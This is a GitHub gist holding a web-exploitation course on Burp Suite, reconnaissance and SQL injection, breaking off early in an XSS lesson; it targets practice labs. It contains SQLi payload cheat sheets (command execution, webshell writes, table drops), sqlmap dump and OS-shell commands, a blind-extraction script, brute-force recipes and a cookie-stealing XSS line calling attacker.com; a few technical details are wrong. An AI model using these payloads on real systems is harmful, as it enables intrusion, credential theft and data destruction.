Skip to content

Instantly share code, notes, and snippets.

@riskiidice
Created June 14, 2026 04:23
Show Gist options
  • Select an option

  • Save riskiidice/ac2f41e06c7793e21f01794f469e3797 to your computer and use it in GitHub Desktop.

Select an option

Save riskiidice/ac2f41e06c7793e21f01794f469e3797 to your computer and use it in GitHub Desktop.
Web Exploitation Course — Complete (Burp Suite + SQLi + XSS + SSRF + WordPress + CTF Capstones)

Module 1: Burp Suite Fundamentals + HTTP/Web Basics

Lesson 1: The Web Attack Lab Setup

Why Burp Suite?

Burp Suite is the industry-standard tool for web application penetration testing. Every writeup from Bug Bounty World Cup winners mentions it. PortSwigger (the company behind Burp) maintains the Web Security Academy — free, hands-on, and the closest thing to a structured curriculum exists.

Tools you'll need:

  • Kali Linux (or Parrot OS) — comes with Burp Suite pre-installed
  • Burp Suite Professional (or Community Edition — enough for most modules)
  • Firefox with FoxyProxy Standard addon
  • A vulnerable target: PortSwigger's Web Security Academy labs, HackTheBox, or DVWA

Lab target options:

Target URL Difficulty Notes
PortSwigger Academy portswigger.net/web-security Beginner→Advanced Free labs, best content
DVWA dvwa.co.uk Beginner Classic, self-hosted
HackTheBox hackthebox.eu Intermediate→Advanced Has web challenges
PentesterLab pentesterlab.com Beginner→Pro Excellent for SQLi, XXE

Installing Burp Suite on macOS/Linux

# Download from PortSwigger
wget https://portswigger.net/burp/releases/download?product=community&version=2024.1.1&type=linux
chmod +x burpsuite_community_linux_v2024_1_1.sh
./burpsuite_community_linux_v2024_1_1.sh

# Or use Java directly
java -jar burpsuite_community.jar

# Verify
java -version  # Need JDK 11+

Firefox + FoxyProxy Setup

  1. Install FoxyProxy Standard from Firefox Add-ons
  2. Configure proxy:
    • Proxy Type: HTTP
    • Host: 127.0.0.1
    • Port: 8080
  3. Enable Burp Suite's proxy listener:
    • Go to Proxy → Options → Proxy Listeners
    • Check "Running" on 127.0.0.1:8080
    • Under "Intercept Client Requests" ensure enabled
  4. Visit any HTTP site — requests now flow through Burp

Your First Interception

  1. Open Burp Suite → Proxy → Intercept
  2. Click "Intercept is on"
  3. Open Firefox → visit http://example.com
  4. Watch the request appear in Burp
  5. Click "Forward" to let it through, or "Drop" to block

This is the foundation. Every exploit starts here — understanding what data flows between client and server.


Lesson 2: HTTP Protocol Deep Dive

The Request/Response Cycle

Every web exploit is an abuse of HTTP semantics. Know this cold.

HTTP Request:

GET /api/users?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cookie: session=abc123; csrftoken=xyz789
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

HTTP Response:

HTTP/1.1 200 OK
Date: Mon, 14 Jun 2026 10:00:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: application/json
Set-Cookie: session=newvalue; HttpOnly; Secure; SameSite=Strict
Access-Control-Allow-Origin: https://legitimate-site.com
Cache-Control: no-store
X-Content-Type-Options: nosniff

HTTP Methods

Method Purpose Idempotent Safe
GET Retrieve resource Yes Yes
POST Submit data No No
PUT Replace resource Yes No
DELETE Remove resource Yes No
PATCH Partial update No No
OPTIONS CORS preflight Yes Yes
HEAD Headers only Yes Yes

Exploitation relevance:

  • GET params go in URL — visible in proxy history, logs
  • POST params go in body — request body is where you hide malicious payloads from casual inspection
  • PUT/DELETE rarely secured — discovery is half the attack
  • OPTIONS reveals supported methods — enumeration goldmine

HTTP Headers That Matter for Security

Request headers you control:

User-Agent:                        # Fingerprinting, bot detection bypass
X-Forwarded-For: 127.0.0.1        # IP spoofing, WAF bypass
X-Real-IP: 127.0.0.1               # Same as X-Forwarded-For
X-Originating-IP: 127.0.0.1        # Same family
Referer: https://google.com        # CSRF testing
Origin: https://legitimate.com     # CORS preflight
Content-Type: application/json     # Changing type can bypass parsing
Host: target.com                   # Host header injection

Response headers that matter:

Set-Cookie: name=value; HttpOnly; Secure; SameSite=Strict
# HttpOnly = not accessible to JavaScript (prevents XSS stealing)
# Secure = only over HTTPS
# SameSite=Strict = no CSRF possible

X-Frame-Options: DENY             # Clickjacking protection
X-Content-Type-Options: nosniff    # MIME sniffing prevention
Content-Security-Policy: default-src 'self'  # CSP — XSS mitigation
Access-Control-Allow-Origin: *     # CORS misconfiguration
WWW-Authenticate: Basic realm="..."  # HTTP Basic Auth

Status Codes

Code Meaning Exploitation
200 OK Normal response
201 Created Resource created — interesting in IDOR
301/302 Redirect Open redirect vector
400 Bad Request Input validation exists
401 Unauthorized Auth required — enumeration
403 Forbidden Auth bypass potential
404 Not Found Information disclosure
405 Method Not Allowed Verb tampering
418 I'm a teapot Apr 1 Easter egg
429 Too Many Requests Rate limiting exists
500 Internal Server Error Error disclosure, SQLi
502/503 Bad Gateway Backend issues

Lesson 3: Burp Suite Tools Breakdown

Proxy Tab — Your Control Center

Intercept sub-tab:

  • "Intercept is on" / "Intercept is off" toggle
  • Forward / Drop / Action buttons
  • Raw / Params / Headers view modes
  • "Msg edited" indicator when you modify the request

HTTP History sub-tab:

  • Every request/response ever seen
  • Filter by host, MIME type, status code, search regex
  • Right-click → Send to Repeater, Intruder, Decoder
  • Columns: #, Host, Method, URL, Params, Status, Length, MIME type, Time

WebSocket History sub-tab:

  • Real-time bidirectional communication
  • Useful for testing chat apps, live notifications

Repeater — Request Crafting

Why it exists: Modify and resend requests without leaving Burp.

  1. Select any request in Proxy history → right-click → "Send to Repeater"
  2. In Repeater: edit raw request, headers, body
  3. Click "Send" — get fresh response
  4. Compare responses side-by-side

Real-world use case:

Original: GET /profile?id=1
Bounty hunter sees admin data in response

Test:    GET /profile?id=2
         GET /profile?id=-1
         GET /profile?id=1' OR '1'='1
         GET /profile?id=9999999

Every SQLi test, every IDOR check, every parameter fuzz — this is where you do it.

Intruder — Mass Parameter Fuzzing

Four attack types:

  1. Sniper — Use one payload set, one position at a time
  2. Battering Ram — Same payload set, all positions at once
  3. Pitchfork — Multiple payload sets, iterate in parallel
  4. Cluster Bomb — Multiple payload sets, full cross-product

Practical example — Password Spraying:

Position: username §admin§

Payload set 1 (usernames):
  admin
  administrator
  root
  test
  guest

Payload set 2 (passwords):
  password
  admin123
  Password1!
  letmein
  qwerty

Battering ram (one position): test all passwords against "admin" Cluster bomb (two positions): test all combinations

Payload types:

  • Simple list
  • Runtime file
  • Numbers (brute force)
  • Dates
  • Character substitution (for mutation)
  • Custom extension scripts

Decoder — Encoding/Decoding

Supports:

  • URL encoding/decoding
  • HTML encoding/decoding
  • Base64
  • Hex
  • ASCII
  • Multiple rounds of encoding

Why this matters:

User input: <script>alert(1)</script>
URL encoded: %3Cscript%3Ealert(1)%3C/script%3E
Double encoded: %253Cscript%253Ealert(1)%253C/script%253E
HTML entities: <script>alert(1)</script>

WAFs often decode once. Double-encode bypasses them.

Comparer — Spot the Differences

Two responses side-by-side, differences highlighted. Essential for:

  • SQL injection boolean-based: what's different between true/false?
  • IDOR: what does admin see that user doesn't?
  • Auth bypass: what changes when you add a header?

Extender — Burp Apps

Essential extensions:

Extension Purpose
Logger++ Log ALL requests across all tools
AutoRepeater Automatic request/response modification
Turbo Intruder Faster, more configurable Intruder
SQLMap Magic One-click SQLMap integration
Collaborator Everywhere Detect OOB vulnerabilities
JS Beautifier Beautify minified JavaScript
Retire.js Detect vulnerable JS libraries
Path Hunt Path traversal testing

Install: Extender → BApp Store → select → install


Lesson 4: Information Gathering & Enumeration

Passive Reconnaissance

What to gather before touching the target:

  • DNS records (A, MX, TXT, CNAME)
  • Subdomain enumeration
  • Technology fingerprinting
  • Public exposures (GitHub, Shodan, Leak databases)

Tools:

# Subdomain enumeration
amass enum -passive -d target.com
subfinder -d target.com
findomain -d target.com

# Screenshot all subdomains
ffuf -w wordlist.txt -u https://FUZZ.target.com -o results.json

# Technology detection
whatweb http://target.com
wappalyzer http://target.com
builtwith http://target.com

# GitHub recon
gitrob target.com
goverlay

# Shodan
shodan host target.com
shodan search 'http.title:"admin"'

Active Enumeration with Burp

Site Map (Spidering):

  1. Target → Site Map → right-click host → "Spider this host"
  2. Set scope: Target → Scope → add your target
  3. Filter: show only in-scope, hide images/CSS/JS

Discovery checklist:

□ Check for debug endpoints: /debug, /admin/debug, /actuator
□ Check for API documentation: /api, /swagger, /docs, /graphiql
□ Check for backup files: /backup, /~backup, /old, /.git/config
□ Check for common paths: /phpmyadmin, /admin, /wp-admin
□ Check for exposed files: /robots.txt, /sitemap.xml, /.well-known/
□ Check for tech-specific paths: /.env, /config.php.bak, /web.config

Technology Fingerprinting

Headers to examine:

Server: Apache/2.4.41 (Ubuntu)         # Web server version
X-Powered-By: PHP/7.4.33               # Backend language
X-AspNet-Version: 4.0.30319            # ASP.NET
X-Generator: Drupal 9                   # CMS

Response patterns:

  • Default Apache page → Ubuntu server
  • IIS 404 → Windows + IIS
  • ASP.NET session cookies → .NET stack
  • __cfduid cookie → Cloudflare proxy
  • PHPSESSID cookie → PHP
  • JSESSIONID → Java (Tomcat/WebLogic)
  • NOPARKING → WordPress

WordPress-Specific Enumeration

# Detect WordPress
curl -s http://target.com | grep -i "wordpress"
wpscan --url http://target.com --enumerate u

# Version detection
curl -s http://target.com/wp-links-opml.php | head -5
curl -s http://target.com/wp-json/wp/v2/ | jq .version

# User enumeration via author archive
for i in {1..20}; do
  curl -s -o /dev/null -w "%{http_code}" "http://target.com/?author=$i"
  echo " author=$i"
done

# Plugin enumeration
wpscan --url http://target.com --enumerate p --plugins-detection aggressive

# Theme enumeration
wpscan --url http://target.com --enumerate t

Lesson 5: Burp Suite Workflow — Your Methodology

The 5-Phase Web Testing Flow

Phase 1: Recon          → Passive + active enumeration
Phase 2: Mapping        → Spider, discover hidden content
Phase 3: Vulnerability  → Test each attack surface
Phase 4: Exploitation   → Confirm and demonstrate impact
Phase 5: Documentation  → Clean evidence, professional report

Phase 1: Quick Recon (15 minutes)

# 1. Nmap for open web ports
nmap -p 80,443,8080,8443 -sV -oA web_scan target.com

# 2. Subdomain fuzz
ffuf -w /usr/share/wordlists/subdomains.txt -u https://target.com -H "Host: FUZZ.target.com" -o ffuf.json

# 3. Screenshot everything
echo "target.com" | sed 's/$/\ntest.target.com\nadmin.target.com\napi.target.com/' | aquatone

# 4. Wayback Machine for historical data
echo "target.com" | waybackurls | grep -E '\.(js|css|php|asp|aspx|jsp)' | sort -u

Phase 2: Mapping in Burp

  1. Set scope — Target → Scope → add target regex
  2. Spider — Right-click host → Spider, let it run
  3. Manually browse — Browse with proxy on, visit every link
  4. Check robots.txt — Browse to /robots.txt manually
  5. Dirbuster — Proxy → Engagement Tools → Discover Content
  6. Check for APIs — Target → Site Map → filter for /api/

Phase 3: Vulnerability Testing Order

Priority 1 (Highest impact, fast to test):
  □ SQL Injection        → Always test first
  □ Broken Authentication → If creds found
  □ IDOR                 → If IDs/UUIDs in URLs/params
  □ XXE                  → If XML upload/parsing

Priority 2 (High impact, moderate test time):
  □ XSS                  → Reflected first, then stored
  □ CSRF                 → If state-changing actions lack tokens
  □ SSRF                 → If URL parameters exist
  □ Command Injection    → If system() calls in backend

Priority 3 (Medium impact, thorough testing):
  □ File Upload          → Test all file types
  □ Path Traversal       → If file path parameters exist
  □ Open Redirect       → If redirect params exist
  □ WebSocket           → If real-time features

Phase 4: Professional Evidence

Every finding needs:

  1. Steps to reproduce — Exact request/response
  2. Proof of concept — Screenshot or curl command
  3. Impact assessment — What can an attacker actually do?
  4. Remediation — Specific fix, not generic advice

Example SQLi finding:

Title: Time-based SQL Injection in product search
Severity: Critical
URL: POST https://shop.target.com/search
Parameter: q

Steps to reproduce:
1. With Burp proxy on, submit search with payload: q=test' AND (SELECT 1 FROM users WHERE username='admin' AND LENGTH(password)>1) AND '1'='1
2. Original response time: ~200ms
3. With LENGTH(password)>40: ~5000ms (5 second delay confirmed)
4. This confirms time-based blind SQLi in MySQL backend

Impact: An attacker can exfiltrate entire database including user credentials.
All customer PII, payment records accessible.

Remediation: Use parameterized queries. Input validation. Least privilege on DB user.

Exercise 1: DVWA Brute Force with Burp Suite

Objective: Brute force the DVWA login page using Burp Intruder.

Setup:

# If self-hosted DVWA:
# URL: http://dvwa/vulnerabilities/brute/
# Default creds: admin / password

Steps:

  1. Configure FoxyProxy in Firefox → Burp Suite
  2. Visit http://dvwa/vulnerabilities/brute/
  3. Enter any username/password
  4. In Burp → Proxy → HTTP History → find the POST request
  5. Right-click → Send to Intruder
  6. In Intruder → Positions → Clear all → select username and password values
  7. Set attack type: Cluster Bomb
  8. Payload set 1 (usernames): admin, root, test, user, administrator
  9. Payload set 2 (passwords): password, admin, test123, letmein, qwerty
  10. Start attack
  11. Sort results by Length — the correct creds will have different length
  12. Verify: response contains "Welcome to the Damn Vulnerable Web App"

Expected output: Successful login with admin:password


Exercise 2: IDOR Discovery in Burp History

Objective: Find an Insecure Direct Object Reference in a sample API.

Setup: Target is http://api.test.com

Steps:

  1. Browse the API normally — create an account, view your profile
  2. In Burp → Proxy → HTTP History → filter to your target
  3. Look for requests with numeric IDs: /api/profile/1, /api/orders/123
  4. Right-click one → Send to Repeater
  5. Change the ID: /api/profile/2, /api/profile/3
  6. If you see another user's data → IDOR confirmed
  7. Document with screenshot of both responses

Expected output: Access to another user's profile data by changing ID parameter


Summary Table

Lesson Topic Key Tool Time
1 Lab Setup Burp + Firefox/FoxyProxy 30 min
2 HTTP Deep Dive Manual inspection 45 min
3 Burp Tools Repeater, Intruder, Decoder 60 min
4 Information Gathering Recon, Wappalyzer, nmap 45 min
5 Methodology Full workflow 90 min

Quick Reference: Burp Suite Keyboard Shortcuts

Shortcut Action
Ctrl+R Send to Repeater
Ctrl+I Send to Intruder
Ctrl+Shift+R Send to Decoder
Ctrl+D Send to Comparer
Ctrl+F Find in current view
Ctrl+Shift+T Open Target tab
Ctrl+Shift+P Open Proxy tab
Ctrl+Shift+I Open Intruder tab
Ctrl+Shift+R Open Repeater tab
Ctrl+Shift+L Open Logger tab

Next Module: SQL Injection — Union, Boolean-based, Time-based blind, and Error-based techniques. We'll exploit PortSwigger's labs step by step.

Module 2: SQL Injection — The Complete Guide

Lesson 6: SQL Injection Fundamentals

What is SQL Injection?

SQL Injection (SQLi) is the art of injecting malicious SQL code into queries executed by a web application. It occurs when user input is concatenated directly into SQL queries without proper sanitization or parameterization.

Why it matters:

  • #3 on OWASP Top 10 almost every year
  • Can lead to: data breach, data manipulation, authentication bypass, remote code execution
  • One of the highest-paying bug classes in bug bounty programs
  • Still found in production code regularly

The Root Cause

Vulnerable code (PHP):

// DANGEROUS: Direct concatenation
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
$result = mysqli_query($conn, $query);

// What an attacker submits:
// username: admin' --
$query = "SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'";
// Result: Authenticated as admin without knowing password

Vulnerable code (Python/Flask):

# DANGEROUS: String formatting
query = f"SELECT * FROM products WHERE category = '{request.args.get('category')}'"
cursor.execute(query)

// Attacker payload: category = ' OR '1'='1
// Result: SELECT * FROM products WHERE category = '' OR '1'='1'
// Returns ALL products

Safe code:

// PARAMETERIZED QUERY
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
# PARAMETERIZED QUERY
query = "SELECT * FROM products WHERE category = %s"
cursor.execute(query, (category,))

Types of SQL Injection

Type Description Detection Difficulty
In-Band Data extracted via same channel Easy
Blind No data returned, infer via behavior Medium
Out-of-Band Data via DNS/HTTP channels Hard

In-Band subtypes:

  • Union-based — Append results via UNION
  • Error-based — Force DB errors to reveal data

Blind subtypes:

  • Boolean-based — True/false responses
  • Time-based — DELAY() to infer data

Lesson 7: Detecting SQL Injection

Finding Injection Points

Test every parameter:

  • Query parameters: /search?q=
  • Path parameters: /product/1
  • POST body: username=, email=
  • Headers: User-Agent=, Cookie=
  • JSON body: {"id": 1}
  • XML body: <id>1</id>

Detection payloads (URL encode):

'               → Try to break out of string context
"               → Double-quote variant
\'              → Escaped quote
")              → Close parenthesis + quote
' OR '1'='1     → Always-true condition
' OR 1=1 --     → Always-true with comment
' OR 'a'='a'    → Always-true (quote-safe)
" OR "a"="a"    → Double-quote variant
\               → Backslash escape
) OR 1=1        → Close parenthesis
' WAITFOR DELAY '00:00:05' --  → Time-based (MSSQL)
' AND SLEEP(5) --  → Time-based (MySQL)

Detection via Boolean Differences

Workflow in Burp:

  1. Send baseline request — note response size/time
  2. Inject always-true: ' OR '1'='1
  3. Inject always-false: ' AND '1'='2
  4. Compare responses

If always-true returns data but always-false returns empty/error → SQLi confirmed.

Detection via Time Delays

MySQL:

' AND SLEEP(5) --
' AND (SELECT SLEEP(5)) --

PostgreSQL:

' AND PG_SLEEP(5) --
' AND (SELECT pg_sleep(5)) --

MSSQL:

'; WAITFOR DELAY '00:00:05'--
'; IF(1=1) WAITFOR DELAY '00:00:05'--

Oracle:

' AND DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5) --

Detection: If response takes ~5 seconds longer → time-based SQLi confirmed.

Detection via Error Messages

Test payloads that cause syntax errors:

' 
"
')
")
\

Good error: Shows exact SQL syntax error

Unclosed quotation mark after the character string 'admin'.

Bad error: Generic 500 error, no SQL info leaked

PortSwigger lab: "SQL injection vulnerability confirmed in the product category filter. The database appears to be MySQL."


Lesson 8: Union-Based SQL Injection

How UNION Works

The UNION operator combines results of two or more SELECT statements. Requirements:

  1. Same number of columns in each SELECT
  2. Compatible data types

Finding columns with ORDER BY:

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 --
' ORDER BY 5 --

Keep incrementing until you get no error and then error on next. If ORDER BY 4 errors → 3 columns.

Finding columns with UNION SELECT:

' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

Error on NULL count → adjust until no error.

Determining column types:

' UNION SELECT 'a',NULL,NULL --
' UNION SELECT NULL,'a',NULL --
' UNION SELECT NULL,NULL,'a' --

Non-null columns accept string data.

Extracting Data

MySQL information_schema:

' UNION SELECT NULL, NULL, version() --
' UNION SELECT NULL, user(), NULL --
' UNION SELECT NULL, database(), NULL --
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --
' UNION SELECT column_name, table_name, NULL FROM information_schema.columns WHERE table_name='users' --

Classic data extraction:

' UNION SELECT username, password, NULL FROM users --

Practical Example: PortSwigger Lab

Lab: SQL injection vulnerability on product category filter

Step 1: Find column count

GET /filter?category=Gifts' ORDER BY 3--
→ 200 OK
GET /filter?category=Gifts' ORDER BY 4--
→ 500 Internal Server Error
→ 3 columns

Step 2: Determine which columns display data

GET /filter?category=Gifts' UNION SELECT NULL, NULL, 'a'--
→ Error (type mismatch)

GET /filter?category=Gifts' UNION SELECT 'a', 'b', 'c'--
→ 200 OK, first column displays data

Step 3: Extract database version

GET /filter?category=Gifts' UNION SELECT NULL, @@version, NULL--
→ Microsoft SQL Server 2019

Step 4: Extract table names

GET /filter?category=Gifts' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--
→ users, products, orders...

Step 5: Extract column names from users table

GET /filter?category=Gifts' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--
→ user_id, username, password, email...

Step 6: Extract credentials

GET /filter?category=Gifts' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users--
→ administrator:0c36131ca908a9c4007088ce0a173989 (hash)

Step 7: Crack hash and login

hashcat -m 1000 hash.txt wordlist.txt
→ administrator:password123

Lesson 9: Boolean-Based and Time-Based Blind SQLi

When UNION Won't Work

Sometimes the application doesn't display results. You get:

  • Generic "No results found"
  • Same page for true and false (but different response codes)
  • No error messages
  • No visible output

This is where blind SQLi shines. You don't see data — you infer it.

Boolean-Based Blind SQLi

Principle: Inject a condition. If true, page behaves one way. If false, different.

Test:

Original: GET /article?id=1
True:      GET /article?id=1 AND 1=1
False:     GET /article?id=1 AND 1=2

If "true" returns normal article and "false" returns empty/error → blind SQLi confirmed.

Exploitation — Character-by-character extraction:

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --

You iterate through each character position, testing ASCII values. Scripted, this takes minutes.

Substring extraction:

' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 100 --
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 50 --
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97 --  → 'a'

Time-Based Blind SQLi

Principle: Inject a delay. If the response takes longer, the condition was evaluated (true).

MySQL:

' AND IF(1=1, SLEEP(5), 0) --
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --

PostgreSQL:

' AND CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 0 END --
' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN PG_SLEEP(5) ELSE 0 END) --

MSSQL:

'; IF (1=1) WAITFOR DELAY '00:00:05'--
'; IF (SUBSTRING(@@version,1,1)='M') WAITFOR DELAY '00:00:05'--

Detection:

' AND (SELECT COUNT(*) FROM users) > 0 --
' AND (SELECT LENGTH(password) FROM users WHERE username='admin') > 8 --

If the condition is true → delay occurs → condition is true.

Automation with SQLMap

Don't manually extract byte-by-byte. Use SQLMap.

# Basic scan
sqlmap -u "http://target.com/product?id=1"

# POST request
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# With cookie
sqlmap -u "http://target.com/profile" --cookie="PHPSESSID=abc123"

# Full database dump
sqlmap -u "http://target.com/product?id=1" --dump

# Shell access
sqlmap -u "http://target.com/product?id=1" --os-shell

# Batch mode (no interactive prompts)
sqlmap -u "http://target.com/product?id=1" --batch --level=3 --risk=3

Essential SQLMap flags:

Flag Purpose
-u URL Target URL
--data POST body
--cookie Session cookie
--batch Non-interactive
--level 1-5, more tests
--risk 1-3, more aggressive
--dump Extract all data
--os-shell OS command execution
--sql-shell SQL shell
--technique B=boolean, U=union, E=error, T=time, S=stacked

Lesson 10: SQLi in Different Contexts

POST Body Injection

# Manual
curl -X POST "http://target.com/login" \
  -d "username=admin'--&password=anything"

# SQLMap
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

JSON Body Injection

{"filter": "category", "value": "' OR '1'='1"}
sqlmap -u "http://target.com/api/search" \
  --data='{"filter":"category","value":"test"}' \
  --headers="Content-Type: application/json"

Header Injection (User-Agent, Referer)

sqlmap -u "http://target.com/" --headers="User-Agent: *"

Often found in logging functionality:

INSERT INTO logs (user_agent, ip) VALUES ('$user_agent', '$ip')

Cookie Injection

sqlmap -u "http://target.com/" --cookie="session=abc123"

Second-Order SQL Injection

The payload is stored and executed later (in a different request).

Example:

  1. Register username: admin'--
  2. Application stores it safely in registration
  3. When admin views user list → query uses stored username unsafely
  4. SQLi executes

Harder to detect. Look for places where data is stored and later displayed.

Filter Bypass Techniques

Whitespace blocking:

'/**/OR/**/'1'/**/=/**/'1'
'/**/UNION/**/SELECT/**/NULL--

/**/ is a SQL comment that acts as whitespace.

Case variation:

Encoded:

URL: %27%20OR%20%271%27%3D%271
Base64: JyBPUiAnMSc9JzE=

Keyword blocking (SELECT, UNION):

' UNUNIONION SELSELECTECT NULL--

Double words collapse to single when the blocked keyword is detected and removed.


Exercise 3: SQLMap on PortSwigger Lab

Objective: Use SQLMap to extract the administrator password from a vulnerable endpoint.

Lab: PortSwigger "Lab: SQL injection vulnerability in product category filter"

Steps:

  1. Open Burp Suite → Proxy → Intercept → off
  2. Visit the lab URL
  3. Click on a product category
  4. In Burp → Proxy → HTTP History → find the GET request to /filter
  5. Copy the full URL
  6. Run SQLMap:
sqlmap -u "https://0a8300c4044b.example.com/filter?category=Gifts" \
  --cookie="session=abc123" \
  --batch \
  --dump \
  --tables \
  --level=3
  1. SQLMap will:

    • Confirm SQLi
    • Identify database type (MySQL, PostgreSQL, etc.)
    • Enumerate tables
    • Dump all data
  2. Find the users table → extract administrator password hash

  3. Crack with hashcat or crackstation.net

Expected output: administrator:abcdef123456 (cracked password)


Exercise 4: Manual Boolean-Based Blind SQLi

Objective: Extract the database version using only boolean blind SQLi.

Setup: Use PortSwigger's blind SQLi lab (no visible output)

Steps:

  1. In Burp, find the vulnerable request
  2. Send to Repeater
  3. Test baseline:
    GET /tracking?path=/blog
    → 200 OK, "Home" page
    
  4. Inject always-true:
    GET /tracking?path=/blog' AND '1'='1
    → 200 OK, "Home" page (same)
    
  5. Inject always-false:
    GET /tracking?path=/blog' AND '1'='2
    → 200 OK, "Home" page (same — subtle difference in response)
    
  6. Actually, this lab uses response difference — test each character:
# Python script to extract version
import requests

charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.-"
target = "https://0a8300c4044b.example.com/tracking?path=/blog"
cookie = {"session": "your_session_cookie"}

result = ""
for pos in range(1, 50):
    for char in charset:
        payload = f"/blog' AND SUBSTRING(@@version,{pos},1)='{char}"
        r = requests.get(target, params={"path": payload}, cookies=cookie)
        if "Welcome back" in r.text:
            result += char
            print(f"Position {pos}: {char} → {result}")
            break
    else:
        break  # No matching char found

print(f"Database version: {result}")

Expected output: Database version: PostgreSQL 13.5 (or whatever the lab uses)


Summary Table

Lesson Topic Key Technique Tool
6 SQLi Fundamentals Detection payloads Manual
7 Detection Methods Boolean + Time delay Burp Repeater
8 Union-Based SQLi UNION SELECT Burp + SQLMap
9 Blind SQLi Substring extraction SQLMap
10 Context Variations POST/JSON/Header/Cookie SQLMap

Cheat Sheet: SQL Injection Payloads by DB Type

MySQL/MariaDB

' OR '1'='1
' UNION SELECT NULL--
' UNION SELECT table_name FROM information_schema.tables--
' AND (SELECT COUNT(*) FROM users) > 0
' AND SLEEP(5)--
' AND IF(1=1, SLEEP(5), 0)--
' INTO OUTFILE '/var/www/html/shell.php'--

PostgreSQL

' OR '1'='1
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL--
' AND PG_SLEEP(5)--
' AND (SELECT pg_sleep(5))--
'; DROP TABLE users--

MSSQL

' OR '1'='1
'; WAITFOR DELAY '00:00:05'--
'; EXEC xp_cmdshell 'whoami'--
'; SELECT * FROM users FOR XML PATH--
'; DBCC CHECKDB ('master')--

Oracle

' OR '1'='1
' UNION SELECT NULL FROM DUAL--
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5)--
'; SELECT banner FROM v$version--
'; SELECT table_name FROM all_tables--

Next Module: Cross-Site Scripting (XSS) — Reflected, Stored, DOM-based, plus CSRF. We'll cover cookie theft, keylogging, and real-world attack scenarios.

Module 3: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)

Introduction

In this module, we explore two of the most prevalent and impactful web vulnerabilities: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). While SQL injection allows attackers to manipulate database queries, XSS and CSRF target the trust relationship between a web application and its users' browsers. Understanding these vulnerabilities is critical for both offensive security testing and defensive coding.

XSS vulnerabilities appear in approximately 45% of web applications tested by security researchers, according to OWASP survey data. The impact ranges from simple page defacement to complete account takeover through session hijacking. CSRF, while slightly less prevalent, remains a serious threat that can force authenticated users to perform unintended actions without their knowledge.

This module provides comprehensive coverage of XSS variants (reflected, stored, and DOM-based), detection techniques, filter bypass methods, and practical exploitation scenarios. We then transition into CSRF fundamentals, token-based defenses, and advanced bypass techniques. Each lesson includes real-world examples, code samples, and hands-on lab walkthroughs.


Lesson 11: Cross-Site Scripting (XSS) Fundamentals

What is Cross-Site Scripting?

Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. Unlike SQL injection, which targets the backend database, XSS exploits the trust that a user's browser places in a website. When a vulnerable application includes attacker-controlled data in a web page without proper sanitization, the victim's browser will execute the malicious script as if it originated from the legitimate website.

The fundamental problem is that browsers cannot distinguish between scripts that legitimately belong to a website and scripts that were injected by an attacker. This trust relationship is the cornerstone of XSS exploitation.

Core vulnerability pattern:

// Vulnerable code: user input directly placed into HTML
document.getElementById('welcome').innerHTML = "Welcome, " + userInput;

If an attacker provides <img src=x onerror=alert(1)> as their username, the browser will execute the JavaScript when that page is rendered.

Three Types of XSS

XSS vulnerabilities are categorized into three distinct types based on how the malicious script is delivered and executed.

Reflected XSS occurs when user input is immediately returned by a web application without proper sanitization. The attack is not persistent; it exists only when the victim clicks a specially crafted link. Search functions that display search terms, error messages that echo user input, and URL parameters that are displayed back to the user are common injection points.

Example scenario: A search engine displays "Results for: [user input]" on the results page. When an attacker crafts a URL with a malicious script in the search parameter and tricks a victim into clicking it, the script executes in the victim's browser.

Stored XSS (also called Persistent XSS) occurs when user input is stored on the server (typically in a database) and later served to other users without proper sanitization. This is the most dangerous type because the attack automatically affects every user who views the affected content. Blog comments, forum posts, user profiles, product reviews, and messaging systems are common targets.

Example scenario: An attacker posts a comment containing <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> on a blog. Every visitor who views that comment will have their session cookies sent to the attacker's server.

DOM-based XSS occurs when client-side JavaScript processes user input and writes it to a dangerous sink (like innerHTML or document.write) without proper sanitization. The key difference from reflected XSS is that the malicious input never reaches the server in some variants—the attack happens entirely on the client side.

Example scenario: A page uses JavaScript to read a parameter from the URL and display it using document.write(). No server-side code is involved in generating the vulnerable output.

How Browsers Execute JavaScript

Understanding how browsers parse and execute HTML and JavaScript is essential for effective XSS testing and exploitation. Browsers use HTML parsers that build a Document Object Model (DOM) tree from raw HTML markup. When the parser encounters a <script> tag, it immediately fetches and executes the referenced JavaScript before continuing to parse the rest of the document.

Script tag execution:

<!-- Browser fetches and executes external.js immediately -->
<script src="https://legitimate-site.com/analytics.js"></script>

